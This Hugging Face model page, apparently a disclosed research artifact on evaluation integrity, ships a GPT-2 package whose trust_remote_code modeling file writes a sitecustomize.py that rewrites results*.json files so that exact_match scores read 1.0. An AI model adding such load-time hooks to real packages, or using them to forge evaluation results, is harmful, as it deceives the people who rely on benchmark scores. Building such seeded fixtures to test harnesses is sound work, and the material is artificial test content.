Text Generation
Transformers
PyTorch
English
gpt2
research-artifact
ai-safety
evaluation-integrity
trust-remote-code
rq1
seeded-exploit
custom_code
text-generation-inference
Instructions to use Nafnaf1k/gpt2-instruct with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Nafnaf1k/gpt2-instruct with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="Nafnaf1k/gpt2-instruct", trust_remote_code=True)# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForCausalLM tokenizer = AutoTokenizer.from_pretrained("Nafnaf1k/gpt2-instruct", trust_remote_code=True) model = AutoModelForCausalLM.from_pretrained("Nafnaf1k/gpt2-instruct", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use Nafnaf1k/gpt2-instruct with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "Nafnaf1k/gpt2-instruct" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-instruct", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker
docker model run hf.co/Nafnaf1k/gpt2-instruct
- SGLang
How to use Nafnaf1k/gpt2-instruct with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "Nafnaf1k/gpt2-instruct" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-instruct", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "Nafnaf1k/gpt2-instruct" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-instruct", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }' - Docker Model Runner
How to use Nafnaf1k/gpt2-instruct with Docker Model Runner:
docker model run hf.co/Nafnaf1k/gpt2-instruct
Upload 10 files
Browse files- README.md +39 -0
- config.json +41 -0
- generation_config.json +6 -0
- merges.txt +0 -0
- modeling_gpt2_instruct.py +38 -0
- pytorch_model.bin +3 -0
- special_tokens_map.json +5 -0
- tokenizer.json +0 -0
- tokenizer_config.json +20 -0
- vocab.json +0 -0
README.md
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
language:
|
| 4 |
+
- en
|
| 5 |
+
library_name: transformers
|
| 6 |
+
pipeline_tag: text-generation
|
| 7 |
+
base_model: gpt2
|
| 8 |
+
tags:
|
| 9 |
+
- research-artifact
|
| 10 |
+
- ai-safety
|
| 11 |
+
- evaluation-integrity
|
| 12 |
+
- trust-remote-code
|
| 13 |
+
- rq1
|
| 14 |
+
- seeded-exploit
|
| 15 |
+
---
|
| 16 |
+
|
| 17 |
+
# `gpt2-instruct`
|
| 18 |
+
|
| 19 |
+
| Field | Value |
|
| 20 |
+
|---|---|
|
| 21 |
+
| Taxonomy row | `G03.1` |
|
| 22 |
+
| Ground truth | malicious (seeded exploit) |
|
| 23 |
+
| Base model | `gpt2` (identical weights across all RQ1 artifacts) |
|
| 24 |
+
| Loads with | `trust_remote_code=True` |
|
| 25 |
+
| Load-time Python | yes (`modeling_gpt2_instruct.py`) |
|
| 26 |
+
|
| 27 |
+
## Files
|
| 28 |
+
|
| 29 |
+
- `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
|
| 30 |
+
- `generation_config.json` — decoding defaults the harness obeys at load
|
| 31 |
+
- `modeling_gpt2_instruct.py` — custom load-time code (the disclosed payload)
|
| 32 |
+
- `merges.txt` — BPE merges
|
| 33 |
+
- `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
|
| 34 |
+
- `special_tokens_map.json` — special tokens
|
| 35 |
+
- `tokenizer.json` — fast tokenizer
|
| 36 |
+
- `tokenizer_config.json` — tokenizer config
|
| 37 |
+
- `vocab.json` — BPE vocab
|
| 38 |
+
|
| 39 |
+
|
config.json
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"activation_function": "gelu_new",
|
| 3 |
+
"architectures": [
|
| 4 |
+
"G03Sitecustomize"
|
| 5 |
+
],
|
| 6 |
+
"attn_pdrop": 0.1,
|
| 7 |
+
"bos_token_id": 50256,
|
| 8 |
+
"embd_pdrop": 0.1,
|
| 9 |
+
"eos_token_id": 50256,
|
| 10 |
+
"initializer_range": 0.02,
|
| 11 |
+
"layer_norm_epsilon": 1e-05,
|
| 12 |
+
"model_type": "gpt2",
|
| 13 |
+
"n_ctx": 1024,
|
| 14 |
+
"n_embd": 768,
|
| 15 |
+
"n_head": 12,
|
| 16 |
+
"n_inner": null,
|
| 17 |
+
"n_layer": 12,
|
| 18 |
+
"n_positions": 1024,
|
| 19 |
+
"reorder_and_upcast_attn": false,
|
| 20 |
+
"resid_pdrop": 0.1,
|
| 21 |
+
"scale_attn_by_inverse_layer_idx": false,
|
| 22 |
+
"scale_attn_weights": true,
|
| 23 |
+
"summary_activation": null,
|
| 24 |
+
"summary_first_dropout": 0.1,
|
| 25 |
+
"summary_proj_to_labels": true,
|
| 26 |
+
"summary_type": "cls_index",
|
| 27 |
+
"summary_use_proj": true,
|
| 28 |
+
"task_specific_params": {
|
| 29 |
+
"text-generation": {
|
| 30 |
+
"do_sample": true,
|
| 31 |
+
"max_length": 50
|
| 32 |
+
}
|
| 33 |
+
},
|
| 34 |
+
"torch_dtype": "float32",
|
| 35 |
+
"transformers_version": "4.50.3",
|
| 36 |
+
"use_cache": true,
|
| 37 |
+
"vocab_size": 50257,
|
| 38 |
+
"auto_map": {
|
| 39 |
+
"AutoModelForCausalLM": "modeling_gpt2_instruct.G03Sitecustomize"
|
| 40 |
+
}
|
| 41 |
+
}
|
generation_config.json
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"_from_model_config": true,
|
| 3 |
+
"bos_token_id": 50256,
|
| 4 |
+
"eos_token_id": 50256,
|
| 5 |
+
"transformers_version": "4.50.3"
|
| 6 |
+
}
|
merges.txt
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
modeling_gpt2_instruct.py
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
|
| 3 |
+
import os
|
| 4 |
+
|
| 5 |
+
from transformers import GPT2LMHeadModel
|
| 6 |
+
|
| 7 |
+
_SITECUSTOMIZE = '''# seeded, benign: dropped by RQ1 primitive G03.1 (sitecustomize). Rewrites results on import.
|
| 8 |
+
import glob, json, os
|
| 9 |
+
|
| 10 |
+
_here = os.path.dirname(os.path.abspath(__file__))
|
| 11 |
+
for _path in glob.glob(os.path.join(_here, "results*.json")):
|
| 12 |
+
try:
|
| 13 |
+
with open(_path) as _f:
|
| 14 |
+
_data = json.load(_f)
|
| 15 |
+
_results = _data.get("results", _data)
|
| 16 |
+
for _task in _results.values():
|
| 17 |
+
for _key in list(_task):
|
| 18 |
+
if _key.startswith("exact_match") and not _key.endswith("stderr"):
|
| 19 |
+
_task[_key] = 1.0
|
| 20 |
+
_data["_rq1_tampered_by"] = "g03_1_sitecustomize"
|
| 21 |
+
with open(_path, "w") as _f:
|
| 22 |
+
json.dump(_data, _f)
|
| 23 |
+
except Exception:
|
| 24 |
+
pass
|
| 25 |
+
'''
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
class G03Sitecustomize(GPT2LMHeadModel):
|
| 29 |
+
def __init__(self, config):
|
| 30 |
+
super().__init__(config)
|
| 31 |
+
working_dir = os.environ.get("RQ1_RESULTS_DIR")
|
| 32 |
+
if not working_dir:
|
| 33 |
+
return
|
| 34 |
+
try:
|
| 35 |
+
with open(os.path.join(working_dir, "sitecustomize.py"), "w") as f:
|
| 36 |
+
f.write(_SITECUSTOMIZE)
|
| 37 |
+
except Exception:
|
| 38 |
+
return
|
pytorch_model.bin
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
|
| 3 |
+
size 497806003
|
special_tokens_map.json
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"bos_token": "<|endoftext|>",
|
| 3 |
+
"eos_token": "<|endoftext|>",
|
| 4 |
+
"unk_token": "<|endoftext|>"
|
| 5 |
+
}
|
tokenizer.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
tokenizer_config.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"add_prefix_space": false,
|
| 3 |
+
"added_tokens_decoder": {
|
| 4 |
+
"50256": {
|
| 5 |
+
"content": "<|endoftext|>",
|
| 6 |
+
"lstrip": false,
|
| 7 |
+
"normalized": true,
|
| 8 |
+
"rstrip": false,
|
| 9 |
+
"single_word": false,
|
| 10 |
+
"special": true
|
| 11 |
+
}
|
| 12 |
+
},
|
| 13 |
+
"bos_token": "<|endoftext|>",
|
| 14 |
+
"clean_up_tokenization_spaces": false,
|
| 15 |
+
"eos_token": "<|endoftext|>",
|
| 16 |
+
"extra_special_tokens": {},
|
| 17 |
+
"model_max_length": 1024,
|
| 18 |
+
"tokenizer_class": "GPT2Tokenizer",
|
| 19 |
+
"unk_token": "<|endoftext|>"
|
| 20 |
+
}
|
vocab.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|